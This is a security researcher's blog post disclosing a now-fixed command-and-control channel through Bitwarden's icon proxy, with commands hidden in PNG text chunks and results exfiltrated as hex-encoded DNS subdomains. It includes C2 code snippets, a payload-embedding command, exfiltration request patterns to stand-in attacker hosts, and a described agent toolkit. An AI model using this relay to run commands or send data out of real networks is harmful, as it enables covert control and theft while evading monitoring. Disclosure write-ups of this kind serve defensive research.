John Carroll
OffSec

Bitwarden C2

A full command-and-control channel through icons.bitwarden.net - commands in via PNG metadator polygots, results out via DNS - all traffic to a trusted domain on Azure. 2nd order sneaks.

9 min read John Carroll
Visualize the journey, is there anything else out there you can C2 ?

I built a bidirectional C2 channel through Bitwarden's icon proxy. Commands go in via PNG metadata, results come out via DNS, and every byte of traffic goes to icons.bitwarden.net — a legitimate domain on Azure. The agent never touches the attacker's infrastructure directly.

This is a data-bouncing application and a textbook confused deputy (CWE-441).


What's happening

Bitwarden fetches website favicons to display next to vault entries. The icon proxy at icons.bitwarden.net takes a full hostname — subdomains and all — and proxies the request without stripping or validating any of it.

// libs/common/src/vault/icon/build-cipher-icon.ts:78
image = `${iconsServerUrl}/${Utils.getHostname(hostnameUri)}/icon.png`;

That gives you two channels:

Commands in — my server embeds JSON commands in PNG tEXt metadata chunks. The icon proxy fetches the PNG and passes it through byte-identical, metadata intact. The agent fetches from icons.bitwarden.net, never touching my server.

Data out — results get hex-encoded into DNS subdomain labels. When the proxy does its DNS lookup for {hex-data}.attacker.com, my authoritative DNS server receives the encoded data. The lookup comes from Bitwarden's Azure IPs, not the target.

Put them together and you've got full bidirectional C2 through trusted infrastructure. No authentication required. No Bitwarden account needed. The endpoint is public.


The moving parts

C2 server

A small HTTP server that generates valid PNGs with commands in tEXt chunks:

def make_c2_png(command: str) -> bytes:
    # ... standard PNG headers ...
    c2_data = json.dumps({"cmd": command, "ts": int(time.time())}).encode()
    text_chunk = make_png_chunk(b"tEXt", b"Comment\x00" + c2_data)
    return png_sig + ihdr + text_chunk + idat + iend

Bitwarden's proxy fetches /icon.png from my server, gets a valid image. The metadata rides along.

Agent

The agent only ever talks to icons.bitwarden.net:

Agent → HTTPS → icons.bitwarden.net → proxy fetch → attacker server
Agent ← HTTPS ← icons.bitwarden.net ← PNG + metadata ← attacker server

It parses the tEXt chunk, extracts the command, runs it, and exfiltrates the result:

Agent → HTTPS → icons.bitwarden.net/{hex-encoded-result}.oast.fun/icon.png
                    ↓ DNS lookup
           oast.fun authoritative DNS gets the encoded data
           from Bitwarden Azure IPs (20.42.70.x, 20.115.49.x, etc.)

Cache busting

Each poll uses a unique subdomain prefix ({random}-{session}.{server}), forcing the proxy to make a fresh fetch. But here's the thing — existing command PNGs also get cached on Bitwarden's CDN for 7 days. The infrastructure serves your malware for you.

Metadata passthrough

The proxy passes PNG metadata through unmodified. I verified this with a polyglot PNG containing commands in all three text chunk types (tEXt, iTXt, zTXt). The SHA256 of the PNG fetched through the proxy matched the original byte-for-byte:

0eca960915eb7ad1c6c6c972e38cb1c734f33b51279af2859bb16dcec7c9bfab

Polyglot favicons

The endpoint serves /icon.png, but the proxy doesn't enforce image format or validate content beyond a superficial fetch. At the time of testing, a polyglot file — valid PNG and valid ICO, or valid PNG and valid JavaScript — would pass through intact. The proxy returned whatever bytes the upstream server provided.

The toolkit (icon_c2.py) demonstrates this with --mode polyglot, embedding the same payload across tEXt, iTXt, and zTXt simultaneously:

python3 icon_c2.py embed --payload '{"cmd":"whoami"}' --mode polyglot -o cmd.png --verify

Bitwarden's fix (PR #7668) (https://github.com/bitwarden/server/pull/7668) does address PNG polyglots fairly well — it reconstructs the file from allowed chunks only, breaks at IEND, and fails closed on malformed input. A PNG/JS polyglot with payload after IEND gets truncated. The metadata chunks are gone.

*not sure about jpeg/BMP


The demo

I ran this end-to-end against a Windows 11 target. Four stages:

  1. Verify — C2 server has whoami queued in PNG metadata
  2. Proxy — same command passes through icons.bitwarden.net intact
  3. Execute — agent on Windows fetches from the proxy, runs the command, exfiltrates rengy\agent via DNS
  4. Update — change command to ipconfig /all | findstr IPv4, agent picks it up, exfiltrates the target's IPv4 address

The OAST server logged 903 DNS interactions from 115 unique Azure IPs during the demo session alone. Decoded callbacks:

Tag Decoded Output
beacon BEACON|final|nt|agent
r-final rengy\agent
r-final2 IPv4 Address. . . : 100.78.11.60(Preferred)

All 115 source IPs resolved to Microsoft Azure. Bitwarden's icon proxy infrastructure doing the work for me.


It doesn't touch the wallet

This doesn't compromise vault data. Your passwords are fine. What it does is turn Bitwarden's infrastructure into an unwitting C2 relay, and that matters for a couple of reasons.

SoC evasion

Every security operations centre on the planet whitelists bitwarden.net. Trusted domain. Azure. HTTPS. The request pattern looks like normal favicon fetching. A threat analyst looking at network logs sees connections to a password manager's CDN - nice.

That's the real impact. The icon proxy becomes a trusted channel that bypasses network monitoring, threat detection, and egress filtering. If you've got a foothold on a network you can maintain persistent C2 through infrastructure that defenders actively trust. That should bother people.

Consumer confidence

When your infrastructure can be shown to relay arbitrary commands between an attacker and a target - even if your core product isn't directly affected - it raises questions. People trust Bitwarden with their most sensitive credentials. That trust extends to an assumption that the infrastructure isn't being co-opted as attack infrastructure.

The icon proxy is public and unauthenticated. No Bitwarden account required. Any process on any network can use it. The barrier to exploitation is effectively zero.


Disclosure

Reported through Bitwarden's security team, who sent me to the HackerOne programme. The submission included the full C2 toolkit, the asciinema recording, three OAST exports totalling nearly 2,000 DNS interactions from Azure IPs, cached command PNGs verifiable on their CDN, and the vulnerable source line.

The fix

Bitwarden merged PR #7668 (https://github.com/bitwarden/server/pull/7668) on 2 June 2026, titled "Bidirectional C2 in icons.bitwarden.net". The fix strips PNG metadata by walking the chunk list and only keeping rendering-essential chunks (IHDR, PLTE, IDAT, IEND, tRNS, sRGB, gAMA, cHRM). Everything else — tEXt, iTXt, zTXt — dropped. Same stripping applied to PNG frames embedded inside ICO files. SVG support removed from the proxy entirely, I'm also seeing some heavy defences in fastly (formerly the excellent signal science WAF).

The PNG chunk walker is solid — it reconstructs the file from allowed chunks only, breaks at IEND, fails closed on malformed input. PNG polyglots with post-IEND payloads get truncated. The tEXt/iTXt/zTXt command channel is closed for PNG.

Are there other images ? BMP, JPEG perhaps ?

Anyway, my findings are now addressed in https://github.com/bitwarden/server/releases/tag/v2026.6.1


Data bouncing

If you've read my earlier post on data-bouncing, this is that technique applied to a specific target. The icon proxy is a textbook confused deputy — it acts with its own authority (Azure infrastructure, trusted TLS cert, CDN caching) on behalf of an unauthenticated requester.

The inbound channel (PNG metadata) and outbound channel (DNS subdomains) are both standard protocol features, not exploits in themselves. The vulnerability is in combining them through an unrestricted proxy on trusted infrastructure.


Source code

The full toolkit is published alongside this post, just to help you with the concept and the principle of indirect exfiltration and abuse of architecture in these ways:

c2_server.py — HTTP server that embeds JSON commands in PNG tEXt metadata. Dynamic command updates via base64-encoded GET requests.

c2_agent.py — Agent that polls icons.bitwarden.net for commands, executes them, exfiltrates results via hex-encoded DNS subdomains. All traffic goes to the icon proxy.

icon_c2.py — All-in-one toolkit: PNG embedding (text, EXIF, polyglot), DNS exfiltration, proxy fetch testing, OAST data decoding.


Recommendations

For anyone running a similar proxy:

  1. Strip subdomains — only use the registrable domain (eTLD+1) for icon requests
  2. Re-encode images server-side — decode pixel data, re-encode a clean PNG, discard everything else. A chunk-type allowlist doesn't protect against polyglots that carry payloads outside PNG structure
  3. Cache by registrable domain, not full hostname — kills cache-busting via subdomain rotation
  4. Rate limit unique hostnames per session
  5. Block requests to private IP ranges

Timeline

Date Event
2026-04-21 Discovered and demonstrated end-to-end
2026-04-21 Reported via Securtiy team who sent me to HackerOne with full PoC and tooling
2026-05-18 First commit on PR 7668
2026-06-02 PR merged
2026-06-10 Shipped in v2026.6.0 ("under-the-hood improvements")
2026-06-23 This post

Attribution

100% low-balled on attribution. not a mention of my name in any of the fixes. or ... anything. so that's a first. Full bidirectional C2 demonstrated on production infrastructure, with tooling, evidence, and remediation guidance. A low-key fix, buried in a release. - kthnx (haha)

That's dissapointing.

Reward

No.


Diagrams

Inbound - Command Delivery

sequenceDiagram
    participant A as Agent
(Target) participant P as icons.bitwarden.net
(Azure Proxy) participant C as Attacker Server Note over A,P: All agent traffic goes to
a trusted Bitwarden domain A->>P: HTTPS GET /{rand}-{session}.attacker.com/icon.png activate P P->>C: HTTP GET /icon.png activate C Note right of C: Generate PNG with
command in tEXt chunk:
{"cmd":"whoami"} C-->>P: 200 OK - valid PNG + tEXt metadata deactivate C Note over P: Passes PNG through
byte-identical - no
metadata stripping P-->>A: 200 OK - PNG (cached on CDN for 7 days) deactivate P Note left of A: Parse tEXt chunk ->
extract JSON command ->
execute

Outbound - Data Exfiltration via DNS

sequenceDiagram
    participant A as Agent
(Target) participant P as icons.bitwarden.net
(Azure Proxy) participant D as Attacker DNS
(oast.fun) Note left of A: Command output:
"rengy\agent"
-> hex-encode ->
72656e67795c6167656e74 A->>P: HTTPS GET /72656e67795c6167656e74.oast.fun/icon.png activate P Note over P: Must resolve hostname
before proxying P->>D: DNS A? 72656e67795c6167656e74.oast.fun activate D Note right of D: Authoritative DNS receives
hex-encoded data as
subdomain label D-->>P: NXDOMAIN / A record deactivate D Note over P: DNS lookup originated from
Azure IPs (20.42.70.x, etc.)
- not from the target P-->>A: 502 / error (doesn't matter - data already exfiltrated) deactivate P Note right of D: Decode subdomain ->
"rengy\agent"

Full Bidirectional C2 Loop

sequenceDiagram
    participant A as Agent
    participant P as icons.bitwarden.net
    participant C as C2 Server
    participant D as Attacker DNS

    Note over A,C: INBOUND - Command Delivery
    A->>P: GET /{cache-bust}.c2.attacker.com/icon.png
    P->>C: GET /icon.png
    C-->>P: PNG with tEXt: {"cmd":"whoami"}
    P-->>A: PNG (byte-identical)

    Note over A: Execute: whoami -> "rengy\agent"
Hex-encode result Note over A,D: OUTBOUND - Data Exfiltration A->>P: GET /72656e67795c6167656e74.oast.fun/icon.png P->>D: DNS lookup: 72656e67795c6167656e74.oast.fun D-->>P: (response irrelevant) Note over D: Decode: "rengy\agent" Note over A,D: Agent <-> Proxy: trusted HTTPS to bitwarden.net
Proxy <-> Attacker: invisible to the target
No direct agent <-> attacker connection

Trust Boundaries

flowchart LR
    subgraph target["Target Network"]
        agent["Agent"]
    end

    subgraph azure["Azure - Trusted Infrastructure"]
        proxy["icons.bitwarden.net
(Icon Proxy)"] cdn["Bitwarden CDN
(7-day cache)"] end subgraph attacker["Attacker Infrastructure"] c2["C2 Server
(PNG + tEXt)"] dns["Authoritative DNS
(oast.fun)"] end agent -- "HTTPS
(trusted, whitelisted)" --> proxy proxy -- "HTTP fetch
(server-side)" --> c2 proxy -- "DNS lookup
(from Azure IPs)" --> dns proxy -.-> cdn cdn -.-> |"serves cached
command PNGs"| proxy style target fill:#fff,stroke:#cc3333,color:#000 style azure fill:#fff,stroke:#2266cc,color:#000 style attacker fill:#fff,stroke:#cc3333,color:#000

SCRATCH

[PM-36584] Bidirectional C2 in icons.bitwarden.net by jengstrom-bw · Pull Request #7668 · bitwarden/server
🎟️ Tracking jira 📔 Objective strip PNG metadata chunks In IconLink.cs, FetchAsync just returns the raw bytes. Before we hand them back, we should walk the PNG chunk list and only keep the ones we a…

https://github.com/bitwarden/server/releases/tag/v2026.6.1

OffSec
Hollow Pentesting
Post

Hollow Pentesting

Confidently using AI in your Pentests. Hollow Testing.

30 Mar 2026 · 4 min read
Synology DSM 7.3.2
Post

Synology DSM 7.3.2

Chaining three issues to gain root from a low privileged user.

25 Jan 2026 · 4 min read
File Folding.
Post

File Folding.

File Folding is a technique that moves a file into hex, and that hex is broken into folder file names in a fashion that can be reconstructed.

17 Apr 2024 · 4 min read